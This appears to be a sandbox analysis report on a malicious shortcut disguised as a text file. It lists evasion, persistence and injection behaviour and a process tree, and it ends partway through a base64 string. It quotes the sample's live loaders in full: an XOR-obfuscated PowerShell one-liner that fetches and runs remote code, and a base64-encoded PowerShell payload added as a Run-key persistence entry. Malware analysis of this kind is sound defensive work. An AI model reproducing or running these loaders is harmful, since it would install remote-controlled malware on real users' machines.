03f3bcc03ead312d3d1fce3793281d1aea49b74f7b2fb8185254e2223f32747b

Analysis

max time kernel
299s
max time network
300s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
19/07/2026, 03:05

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
check_3231.txt⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀��.lnk
Size 37KB
Sample260719-dlaa7sdt2s
SHA256 03f3bcc03ead312d3d1fce3793281d1aea49b74f7b2fb8185254e2223f32747b
MD5 edd11502d256685681ce1c689c4a25d5
SHA1 d150845508e8606a774e0be230535ee853e88418
SHA512 3a783b1f1a603ac0ba3c5f9355376c620cafcab845b426bbe479b517cffb192cc59d3e070aa1e51e51b24449f93165fd7af44ea1eb87d0e361a81b1bf4453308
SSDEEP 24:8yQxRfgCb9Ki9dWGlA0FWu53FlEDil9CGALJHgM7JR7ZFNKPEtz4I0w4L4I0CWvc:8bn39wGOu53QE9CGGJHgS01I9IBF7
TLSH
T10803AC3ECAFA021EC6B7C639E47A9200A523341B763CEE8D51CD67494B17501F5A9B1F
MD5 SHA1 SHA512 SSDEEP TLSH

Score

9^/10

defense_evasion execution persistence

Malware Config

Signatures

Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	Runner.exe

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	5048	powershell.exe

Looks for VMWare Tools registry key 2 TTPs 1 IoCs

defense_evasion

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	Runner.exe

Executes dropped EXE 2 IoCs

pid	Process
2712	Runner.exe
3436	Runner.exe

Loads dropped DLL 2 IoCs

pid	Process
2712	Runner.exe
3436	Runner.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Windows\CurrentVersion\Run\WinSvc = "powershell -w h -ep bypass -nop -enc JABrAD0AWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAnAHYAagBmADgAaABCADAARABvAHQAOAAyAE0AeABBAEwAcQAvAEUATQBlAHcAPQA9ACcAKQA7ACQAZAA9AFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwAvADEATwBZAHEAVQBsADYAMAByAG8AVwBIAGwARQByACsASQBoAC8ARAA5AHQAYQAwAHQATgAwAGIAYwBhAHcAUQBVAEEAKwBUAGMAUwBEAFkAUQBpAEYARQA0AGEANQBMAFQAaQBHAHEAZwB0AG8AUgBHAFAAWgBsAEcAMABmADEAMQBtAGIAcQBsAEIAMgAxAHIAcABPAGIAaQBvAHgAeABaAFIANwBVADQANABiADIAOABOAHgAYgBNAEMAKwBXAG0AOQBIAFEAZQBpAGoAUwBUADMAdABFAE4ARABmAGIAMgBiAEUAZwBoAEoASgBPAFQARABDAGwAeQBSAGEAbQBrADMAVgAvADMAaAA3AHkANgB0AEwAUgAyAEoAeQAwAE4AVgB2AFIAdQBWAGcAbABlAHAANQBiAE4AVwBzAEcASABWAC8AZQBjAGEAQwBJAGoAagBTAFgAbwB6AG0AYwBtAEwAUQB1ADIAcwBJAE4ARwBxAFcAcwBTAFIAYwA0AGwAWABVADUAbgA0AHkAMwBvAFEASABBAEUAMABpADgASgBBAGgAQQBmADgAYQB0AE0ANAB3AFQAZgBMAHkAYgBBAE0AOQBNAHYAYQBLAFAAawA2AFMAQQBjADcANQBRAFcARwBGADgAeABGAHYAYwBqAHYAVABxAG0AMQBXADIASABiAFIAdwBpADAAdQBtADQASgBOAEIAeQBCADIAOQA1AE0AcgBWADUAbAByAG4AcQB4AHgAZAA4AEgAdQBTAG0AaABjAFIAcABpAHMASgBTAEQAZgBHAHAAZgBwAE0ASABuAGoAOABuADUANQBQAFUAWAA3ADMARgBaAEwAawB3ADYAaAAvAHkAOAAxAGoAdQBvAE8AVABrAHgAcABqAE4AMAByAEoAOQB3AGYAdQBkAFYAaABWAHYAUAAyAGIAUQBNADkATQB1AHIAYwBWAGgAcQBUAFQAYQBQAFkATQBGADcAWgA2AHcAQgBPAFQARwBtAE0AMwBTAHMAbgAzAEgATwBuAHMAVABBADYANAAvAEoAKwBlAFQAMQBGACsAOQB4AFoASgB1AFUARwAwAGIAMQBjAEwAdQBxAFYARwAzADEAQQBKAHYARwBRAEkAUgBEAFQARwBvAGIAWgBaAGoAQwBRADgAdwBVAEcAYgBWAGYASgAxAGkAQgBjADQAbABXAG8AMwAxAHcAdQArAEwANABiAFMAUwBFAG0AawBxAHgAMwBTAEkAMQBLAG8ATwBZADYATAA0AFcARABWAEYASgAwAGIAOQBuAEEAVgB4AHEAVABUAGMAeQBwAEoARgA3AFoANgBnADQAZgBJAFQAdQBmAGoARgBBAFoAbQBSAHYAYgAyAEgAOAByAHcATABaAEMAVQBIADkAaQB4AFoASgB0AEMATgBZAE4AMQBiAHQARwBjAHQASwBDAGIAVgBJADkAYwBaAHYAYwBOAFMAYgBGAEEAOAAyAG8ASwBUAEQAZgBnADEAUQBVAFAAQwB6ADMAawAxAGQAUABoAG0AcQBuAHQARABBADYANAA1ADEAcgBhAEMARQBtAGsAcgBBAGgATQAvAFEAYQBzAHQAUQB3AFcAYwBQAHkAWABWADQAOQBjAGYAYQBLAE4AVQBpAFMARABzAFQANQBRAFcARwBGADgAeABGAHYAYwBuAG4AdwB3AEMARgBDAC8AeABxADAAegBqAEIATgA4AHYASgBzAFUAagAxAGcAeAB0AHgAMgBKAHMAVQBGAHkASwBnAHUATgA5ACsARABWAEIAUQA4AEwAUABlAFQASgBBACsAUABTADQAYgAzAE4ARgBpAFQAOABnADkAeQBQAFUAUABoADMARQBJAHIAawAyADIAZABxAFgAWgB1AGoANgBWAHIAUwBDAE0ANABoADgASQA0AEIAdQBKAFYAMgA2AGcANgBYADgAQwA5AFcARgBFAGgAVQBNAHIAYwBkAGsAdQBUAEQAcQBIAC8ATABqAHYAZgBnADEAUQBVAFAAQwB6ADMAawAyADgAVQB6AFYAcQBUADkAeQB4AFkAdwAvAEoATQBBAHoAMAB5ADkAbwBvAC8AUQA4AE4AcgBuAHEATQB4AEoAUAA2ADkAYgBRAEkAOQBNAHUAcgBjAFIARABHAFQAZQBhAHkAcABSADIASwBQAHQARgBzAGUAYQBsAGIAUQB4AFQAOQBYAGkAZwBPAEIAMgBIADgAawBpACsAUQBTAFUAUwAxAEwAZwA5AFoAdQBHAEkAOQBIAGwATABOAHgAZABNAHEAeABCAGwAUgAwAFoAZABtAGMAYQB4AFcASgBXAFoAYgAzAEwAWABEAGEAcQAwAEoATABmAG0AQwBmAGwAWABzAFIAMAAxAHYATAA3AEgARgBtAHkASwB4AEYAVgAzADQANQBtAE0AUQA3AEEAbwBoAFUAeABmAE0AdABjAE0AcQAwAFEAawBOADcAYwBZAHoAZABLADAAdgBHAFYATQAyADAAZQBUAFAASAA3AEEASQBCAGQAVwBtAFkAdwB6ADUATgAzAEEAVwBaADUAMwBrADEAbABiAHMAUABBAG4ARQA3AG4AYwBjADEARwBOAGcAQgB6AE8AVgA0AE0AYwBQAHIAVQB4AFEAOABMAE0AZQBGAGIAMAByAFAAQgBaACsAegBaAEQAcgBhAHMAMQBVAEgAZgBIAC8AQQBtADIAYwBCAHgAawAyAGYANwAyAGMAeAB4AGEAVgBSAEMAMwB0AHQAawA1AHgAbwBGADkAcABRAG0AKwBwAHMATgA1AFgANABHAGgAUgBGAFcAdQBpAGcAZQBrAG4ASwBZADQAagBVAGYAMwBIADMAdgBIAHAAQwBXAEUAegBmAG8AagBzAFUAeQBrACsAVQB3AEYATgBjADAAcgAxADcAZQBGADEARQA5AEsARgBCAFQANAA5AFAAawB1ADkAUwBjAGMAUwBWAGMAMQBVADMASgA0AHkAMQBOAEMAMwBrAEIAYwBUAEMAVABtAFQANwBoADIANQA0AFoAVgA2AGQAbwBuAFUAMQB4AG0AQwBwADUAVwAxAFIAbQA3AFYAMQBYAEgANQB5ADAANQB0AEIAWABKAEkAUQBxAE0AbAB3AGIAZQArAHIAYwB3AHAAOQBPAE0ARwBHAFEARQAzAEcAUQA0ADIAMwBUAEYAZgBTAHQAVQA5AGsAZQBXAEgATwBzAGsAQQA5AHkARgBTAFgAOABEAG8AdgBoAGIANQBTAFYAMgBJADYAMgBzAGgAMABDAHQAWgBaAGsAdgBOAHYATgBaAGYAdABSAGcATgBnAFoAOAA2AEkAWgB3AEwAVwBXAHMAVAAyAFoAWABLAFgAcwBsAHMASwBmAEQAdQBUAHgAMgAwAFgAMABBAGYASwAvAEcAZABpAHgATwBjAFAAVwAzADUAbQB3ADUAWgAxAEcAcwA1AFcAawBiAE4ANQBiAHAAYQBwAFYAMABGADgAZQBkAEsASgBQAEEAMgBHAFIANQByAHEAZABXAFgAQgB2AEUATgBMAGQAMgAzAGYAbABEAHAATQAxAGwATABPADcAbQB4AG8AawBhADUAVABRAGkAUgBqAHoAbwBRAHIAVgA1AGwARwBqAHYAQQBvAGMATQBIAHMAUgBrAHMAbgBhAHMAYQBWAGYAeABYAFMAWABZAC8AMwBiAG0AYgBYAHQAVgBWAEwASgBIAGoAUABpAEcAWQBSAHkARgBDAFAANgBDADQAdwB4ADcANQBGAEIAUwBjAHMAaAA5AFkANABUAFkAeAB4AGkAZABGADMATgB2AHYAcABmAFcAdABYAFkAYwBDAG8AZQAwAG4ASQBkAEoAWABUAEwAbQAzADEAaQBYAEIARQBmAGwAMwBJAHYAMgBkAEQAKwBrAEcANgA3ADMASgBwAG0ANQB0AEEAUQAxAGQANgAyADgAVgBvAE0ATgBkAGkAaQA4AGQAeQBTAGYAdQBLAFkAMQAxADUAYwBlACsAagBUAHgATAB1AGIAcwBYAEEAZABIAEgARQA2AFUAOQAvAFIAagBuAEIAbgAzAGcAbwB5AEUAMgBkAHcASAA1AHMANQA2AGgARQBlAEMAaAA4AHcAdABZAGcAWABNAHgAOABoAHMAeABUAGMAZAB1ADEAZAAyAEoAUwBTAE0ASwA5AFYAUgBMAGMAZgBMADMAbABmADIARABQAGkAWABGADUAVwBGADcAQQB2AFQAMAB4AGoARQAvAGIAcQBEAG8AegAyAHIAdwBIAEEAMwBRADcAegBzAEkANABTAGQAdABWAHoANwBZAHYATgBjAEQAdABVADEAQgAwAFAAWgB5AFYATgBVAHIAZgBCADgAcQB5AEoARwBEAEUANgBRAFoAUwBkAFQAbgBLAHgAVwBsAGMAawBoAEQATQAvAEgANAB5AGsAcgBzAEcAVgBpAE0ALwBtAFoAUgB1AFMASQB3AEYAeQB1AFkAdgBaAHMARwA3AEEAQQBSADAATQBwAHEAUQBQAEUAMgBJAEQAcAAvAGkASwB6AFAARAB1AGcAUgBTAEoARwA2AE0AMwBTAHMAWQAwAFUAUwBSADYAMgA0AHkAbABLAHgAUQBWAEMATgB5AHkAcAA5AG4AVAB0AEoARgBtAFAATgBvAGUAdABTADgAQgBGAEkAawBjAGQATwBaAFkAUgBhAEsAVQBwAGIAdQBmAEgAbgBRAHUAMABWAFcAZABtAE8ATQAzAFMAdABDADgAbgBPAHEANABrADEAegAwAHEAOQBNAGYAUwBKAGUAbgA4AEIAQQBBAHYAVgBkAHkATwB4AFgAVQB0AHEAMgBkAEYANQBwAGMAOABQAEcAWQBVACsATABVAGMAVABkAGUARABIAEcAcQBFAEIAeABaAEMAeQBDAHkAaQBnAEoAZwB4AE8AZABxAFgAZABzAHkANwBFAFIAVAB6AGMAdwBqADQASQB4AEEATQA1AFcAagB1AFYAdwBLADQAYQB5AEgAeABkAG0ATgBvACsAYwBJAGkAMwBmAFcANABuAGgASgBtAFgATgByAFIANABYAGUAVABhAGIAeQBpAGcAUwBrADEAdQBJAG8ASAB3AHQANABiAEIARABYAFcAUQB3AGoANQBnAG4AVQBKAGQATQBsAGUASQAxAEoAOQBUAHkAVwAxAEoAawBhAE0AUABWAGIAUwBDAGEAWABxAEcAdABaAGkAZgBBAGgAQgBKAGEAVABUAEQASgBnADIAawBhADEAVQBxAEIAKwBTAFkAbgAwAHUASQBSAEYAQwB0AHQAeABJAE0AawBRAEkAVQBlAGgALwBCAHYAZQB0AG0AcwBXAGwAWgAxAGUANAB2AGMAWQBWAHUASgBCADgAeQAvAGQARwBXAEsAKwAxAFUASgBLAGsAagBFAG4AMwBnAGEAMQAxAG0AUAAwAEgAaAA3ADEAdgBjAGYARwBtAHMAdgAzADgAdwBvAEcASQBRAE4AdQArAEYAcABWADgAZQBuAFEAaABzADUATQBNAEsAWABKAEYALwBLAEYAOQBIAGwAYwAyAGUAQwArADAASQBkAFgARwA3AEYAbABuAGcAVABrADEAdQBJAHAAQwBRADYAbQAvADgAYgBVAG4ANQB2AGkAOQBWADQAVgB0AEIAUwAyAFAAUQAwAGUASQBhAHgAQwAyAGgAaQBiAHMAeQBVAGQAQwBhAEUARABhADcAaABiAFcALwBEAHYARgBNAGIATgBIACsASAAxAFgANQBYAG0AawBUAFYAdgAzAFIAbABpAHYAdABZAEgAbgA1AHUAagA0AFUAbABBAEoAcABVAHgAcgA1AE8AWgB0AGEATABVADAAdABrAEkANAArAGYASgBVAEMAYQBSADgARwBnAGMAMwA3AEgAcwAwAFYAVwBhAHkALwBiAHoAQwBnAFAAdwAwAHEAQgArAFgANQBpADEAcgB4AGUAUwBHAE4AbgB6AHAAUgA4AFcANAAxAEsAZwBmAGwANwBhAHMAeQArAFcAbAA5AHAAYwBJACsARQBJAGkAbgBiAFcANQBuAGwAYgBtAGIAdgBxAGsASgBXAGEAQwBPAEMAeQBpAGcATwBrAEgATwBWADkAMgAxAHMAMABiAG8AZQBHAG0AMAA9ACcAKQA7AGYAbwByACgAJABpAD0AMAA7ACQAaQAtAGwAdAAkAGQALgBMAGUAbgBnAHQAaAA7ACQAaQArACsAKQB7ACQAZABbACQAaQBdAD0AJABkAFsAJABpAF0ALQBiAHgAbwByACQAawBbACQAaQAlACQAawAuAEwAZQBuAGcAdABoAF0AfQA7AGkAZQB4ACgAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAZAApACkA"	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5048	powershell.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 3 IoCs

pid	Process
2712	Runner.exe
2712	Runner.exe
2712	Runner.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1160	cmd.exe

Checks processor information in registry 2 TTPs 8 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	Runner.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\ProcessorNameString	Runner.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor	Runner.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Runner.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Runner.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Runner.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	Runner.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\ProcessorNameString	Runner.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Runner.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	Runner.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemVersion	Runner.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Runner.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	Runner.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemVersion	Runner.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
5048	powershell.exe
5048	powershell.exe
2552	powershell.exe
2552	powershell.exe
2552	powershell.exe
2712	Runner.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	5048	powershell.exe
Token: SeDebugPrivilege	2552	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 1160 wrote to memory of 5048	1160	cmd.exe	90
PID 5048 wrote to memory of 2300	5048	powershell.exe	91
PID 5048 wrote to memory of 2712	5048	powershell.exe	92
PID 5048 wrote to memory of 3436	5048	powershell.exe	93
PID 2712 wrote to memory of 3808	2712	Runner.exe	94

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\check_3231.txt⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀��.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1160
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w h $k=133;iex(-join([byte[]]@(236,224,253,173,236,247,232,173,168,239,234,236,235,165,162,224,180,189,176,176,224,178,224,227,182,183,179,170,225,170,224,227,236,233,171,238,234,232,247,228,232,247,232,170,170,191,246,245,241,241,237,162,222,168,180,171,171,168,182,179,216,172,172)|%{[char]($_-bxor$k)}))
  2⤵
  - Badlisted process makes network request
  - Adds Run key to start application
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5048
- - C:\Windows\system32\notepad.exe
    "C:\Windows\system32\notepad.exe" C:\Users\Admin\AppData\Local\Temp\..txt
    3⤵
    PID:2300
- - C:\Users\Admin\.cache\dd15e46f-daa6-4cec-8bd9-1c371ab44732\Runner.exe
    "C:\Users\Admin\.cache\dd15e46f-daa6-4cec-8bd9-1c371ab44732\Runner.exe"
    3⤵
    - Looks for VirtualBox Guest Additions in registry
    - Looks for VMWare Tools registry key
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Checks processor information in registry
    - Enumerates system info in registry
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:2712
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /query /fo CSV /v /nh
      4⤵
      PID:3808
- - C:\Users\Admin\.cache\677b444f-c64a-4d1e-b724-3af7f467e96f\Runner.exe
    "C:\Users\Admin\.cache\677b444f-c64a-4d1e-b724-3af7f467e96f\Runner.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Checks processor information in registry
    - Enumerates system info in registry
    PID:3436

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -w h -ep bypass -nop -enc JABrAD0AWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAnAHYAagBmADgAaABCADAARABvAHQAOAAyAE0AeABBAEwAcQAvAEUATQBlAHcAPQA9ACcAKQA7ACQAZAA9AFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJwAvADEATwBZAHEAVQBsADYAMAByAG8AVwBIAGwARQByACsASQBoAC8ARAA5AHQAYQAwAHQATgAwAGIAYwBhAHcAUQBVAEEAKwBUAGMAUwBEAFkAUQBpAEYARQA0AGEANQBMAFQAaQBHAHEAZwB0AG8AUgBHAFAAWgBsAEcAMABmADEAMQBtAGIAcQBsAEIAMgAxAHIAcABPAGIAaQBvAHgAeABaAFIANwBVADQANABiADIAOABOAHgAYgBNAEMAKwBXAG0AOQBIAFEAZQBpAGoAUwBUADMAdABFAE4ARABmAGIAMgBiAEUAZwBoAEoASgBPAFQARABDAGwAeQBSAGEAbQBrADMAVgAvADMAaAA3AHkANgB0AEwAUgAyAEoAeQAwAE4AVgB2AFIAdQBWAGcAbABlAHAANQBiAE4AVwBzAEcASABWAC8AZQBjAGEAQwBJAGoAagBTAFgAbwB6AG0AYwBtAEwAUQB1ADIAcwBJAE4ARwBxAFcAcwBTAFIAYwA0AGwAWABVADUAbgA0AHkAMwBvAFEASABBAEUAMABpADgASgBBAGgAQQBmADgAYQB0AE0ANAB3AFQAZgBMAHkAYgBBAE0AOQBNAHYAYQBLAFAAawA2AFMAQQBjADcANQBRAFcARwBGADgAeABGAHYAYwBqAHYAVABxAG0AMQBXADIASABiAFIAdwBpADAAdQBtADQASgBOAEIAeQBCADIAOQA1AE0AcgBWADUAbAByAG4AcQB4AHgAZAA4AEgAdQBTAG0AaABjAFIAcABpAHMASgBTAEQAZgBHAHAAZgBwAE0ASABuAGoAOABuADUANQBQAFUAWAA3ADMARgBaAEwAawB3ADYAaAAvAHkAOAAxAGoAdQBvAE8AVABrAHgAcABqAE4AMAByAEoAOQB3AGYAdQBkAFYAaABWAHYAUAAyAGIAUQBNADkATQB1AHIAYwBWAGgAcQBUAFQAYQBQAFkATQBGADcAWgA2AHcAQgBPAFQARwBtAE0AMwBTAHMAbgAzAEgATwBuAHMAVABBADYANAAvAEoAKwBlAFQAMQBGACsAOQB4AFoASgB1AFUARwAwAGIAMQBjAEwAdQBxAFYARwAzADEAQQBKAHYARwBRAEkAUgBEAFQARwBvAGIAWgBaAGoAQwBRADgAdwBVAEcAYgBWAGYASgAxAGkAQgBjADQAbABXAG8AMwAxAHcAdQArAEwANABiAFMAUwBFAG0AawBxAHgAMwBTAEkAMQBLAG8ATwBZADYATAA0AFcARABWAEYASgAwAGIAOQBuAEEAVgB4AHEAVABUAGMAeQBwAEoARgA3AFoANgBnADQAZgBJAFQAdQBmAGoARgBBAFoAbQBSAHYAYgAyAEgAOAByAHcATABaAEMAVQBIADkAaQB4AFoASgB0AEMATgBZAE4AMQBiAHQARwBjAHQASwBDAGIAVgBJADkAYwBaAHYAYwBOAFMAYgBGAEEAOAAyAG8ASwBUAEQAZgBnADEAUQBVAFAAQwB6ADMAawAxAGQAUABoAG0AcQBuAHQARABBADYANAA1ADEAcgBhAEMARQBtAGsAcgBBAGgATQAvAFEAYQBzAHQAUQB3AFcAYwBQAHkAWABWADQAOQBjAGYAYQBLAE4AVQBpAFMARABzAFQANQBRAFcARwBGADgAeABGAHYAYwBuAG4AdwB3AEMARgBDAC8AeABxADAAegBqAEIATgA4AHYASgBzAFUAagAxAGcAeAB0AHgAMgBKAHMAVQBGAHkASwBnAHUATgA5ACsARABWAEIAUQA4AEwAUABlAFQASgBBACsAUABTADQAYgAzAE4ARgBpAFQAOABnADkAeQBQAFUAUABoADMARQBJAHIAawAyADIAZABxAFgAWgB1AGoANgBWAHIAUwBDAE0ANABoADgASQA0AEIAdQBKAFYAMgA2AGcANgBYADgAQwA5AFcARgBFAGgAVQBNAHIAYwBkAGsAdQBUAEQAcQBIAC8ATABqAHYAZgBnADEAUQBVAFAAQwB6ADMAawAyADgAVQB6AFYAcQBUADkAeQB4AFkAdwAvAEoATQBBAHoAMAB5ADkAbwBvAC8AUQA4AE4AcgBuAHEATQB4AEoAUAA2ADkAYgBRAEkAOQBNAHUAcgBjAFIARABHAFQAZQBhAHkAcABSADIASwBQAHQARgBzAGUAYQBsAGIAUQB4AFQAOQBYAGkAZwBPAEIAMgBIADgAawBpACsAUQBTAFUAUwAxAEwAZwA5AFoAdQBHAEkAOQBIAGwATABOAHgAZABNAHEAeABCAGwAUgAwAFoAZABtAGMAYQB4AFcASgBXAFoAYgAzAEwAWABEAGEAcQAwAEoATABmAG0AQwBmAGwAWABzAFIAMAAxAHYATAA3AEgARgBtAHkASwB4AEYAVgAzADQANQBtAE0AUQA3AEEAbwBoAFUAeABmAE0AdABjAE0AcQAwAFEAawBOADcAYwBZAHoAZABLADAAdgBHAFYATQAyADAAZQBUAFAASAA3AEEASQBCAGQAVwBtAFkAdwB6ADUATgAzAEEAVwBaADUAMwBrADEAbABiAHMAUABBAG4ARQA3AG4AYwBjADEARwBOAGcAQgB6AE8AVgA0AE0AYwBQAHIAVQB4AFEAOABMAE0AZQBGAGIAMAByAFAAQgBaACsAegBaAEQAcgBhAHMAMQBVAEgAZgBIAC8AQQBtADIAYwBCAHgAawAyAGYANwAyAGMAeAB4AGEAVgBSAEMAMwB0AHQAawA1AHgAbwBGADkAcABRAG0AKwBwAHMATgA1AFgANABHAGgAUgBGAFcAdQBpAGcAZQBrAG4ASwBZADQAagBVAGYAMwBIADMAdgBIAHAAQwBXAEUAegBmAG8AagBzAFUAeQBrACsAVQB3AEYATgBjADAAcgAxADcAZQBGADEARQA5AEsARgBCAFQANAA5AFAAawB1ADkAUwBjAGMAUwBWAGMAMQBVADMASgA0AHkAMQBOAEMAMwBrAEIAYwBUAEMAVABtAFQANwBoADIANQA0AFoAVgA2AGQAbwBuAFUAMQB4AG0AQwBwADUAVwAxAFIAbQA3AFYAMQBYAEgANQB5ADAANQB0AEIAWABKAEkAUQBxAE0AbAB3AGIAZQArAHIAYwB3AHAAOQBPAE0ARwBHAFEARQAzAEcAUQA0ADIAMwBUAEYAZgBTAHQAVQA5AGsAZQBXAEgATwBzAGsAQQA5AHkARgBTAFgAOABEAG8AdgBoAGIANQBTAFYAMgBJADYAMgBzAGgAMABDAHQAWgBaAGsAdgBOAHYATgBaAGYAdABSAGcATgBnAFoAOAA2AEkAWgB3AEwAVwBXAHMAVAAyAFoAWABLAFgAcwBsAHMASwBmAEQAdQBUAHgAMgAwAFgAMABBAGYASwAvAEcAZABpAHgATwBjAFAAVwAzADUAbQB3ADUAWgAxAEcAcwA1AFcAawBiAE4ANQBiAHAAYQBwAFYAMABGADgAZQBkAEsASgBQAEEAMgBHAFIANQByAHEAZABXAFgAQgB2AEUATgBMAGQAMgAzAGYAbABEAHAATQAxAGwATABPADcAbQB4AG8AawBhADUAVABRAGkAUgBqAHoAbwBRAHIAVgA1AGwARwBqAHYAQQBvAGMATQBIAHMAUgBrAHMAbgBhAHMAYQBWAGYAeABYAFMAWABZAC8AMwBiAG0AYgBYAHQAVgBWAEwASgBIAGoAUABpAEcAWQBSAHkARgBDAFAANgBDADQAdwB4ADcANQBGAEIAUwBjAHMAaAA5AFkANABUAFkAeAB4AGkAZABGADMATgB2AHYAcABmAFcAdABYAFkAYwBDAG8AZQAwAG4ASQBkAEoAWABUAEwAbQAzADEAaQBYAEIARQBmAGwAMwBJAHYAMgBkAEQAKwBrAEcANgA3ADMASgBwAG0ANQB0AEEAUQAxAGQANgAyADgAVgBvAE0ATgBkAGkAaQA4AGQAeQBTAGYAdQBLAFkAMQAxADUAYwBlACsAagBUAHgATAB1AGIAcwBYAEEAZABIAEgARQA2AFUAOQAvAFIAagBuAEIAbgAzAGcAbwB5AEUAMgBkAHcASAA1AHMANQA2AGgARQBlAEMAaAA4AHcAdABZAGcAWABNAHgAOABoAHMAeABUAGMAZAB1ADEAZAAyAEoAUwBTAE0ASwA5AFYAUgBMAGMAZgBMADMAbABmADIARABQAGkAWABGADUAVwBGADcAQQB2AFQAMAB4AGoARQAvAGIAcQBEAG8AegAyAHIAdwBIAEEAMwBRADcAegBzAEkANABTAGQAdABWAHoANwBZAHYATgBjAEQAdABVADEAQgAwAFAAWgB5AFYATgBVAHIAZgBCADgAcQB5AEoARwBEAEUANgBRAFoAUwBkAFQAbgBLAHgAVwBsAGMAawBoAEQATQAvAEgANAB5AGsAcgBzAEcAVgBpAE0ALwBtAFoAUgB1AFMASQB3AEYAeQB1AFkAdgBaAHMARwA3AEEAQQBSADAATQBwAHEAUQBQAEUAMgBJAEQAcAAvAGkASwB6AFAARAB1AGcAUgBTAEoARwA2AE0AMwBTAHMAWQAwAFUAUwBSADYAMgA0AHkAbABLAHgAUQBWAEMATgB5AHkAcAA5AG4AVAB0AEoARgBtAFAATgBvAGUAdABTADgAQgBGAEkAawBjAGQATwBaAFkAUgBhAEsAVQBwAGIAdQBmAEgAbgBRAHUAMABWAFcAZABtAE8ATQAzAFMAdABDADgAbgBPAHEANABrADEAegAwAHEAOQBNAGYAUwBKAGUAbgA4AEIAQQBBAHYAVgBkAHkATwB4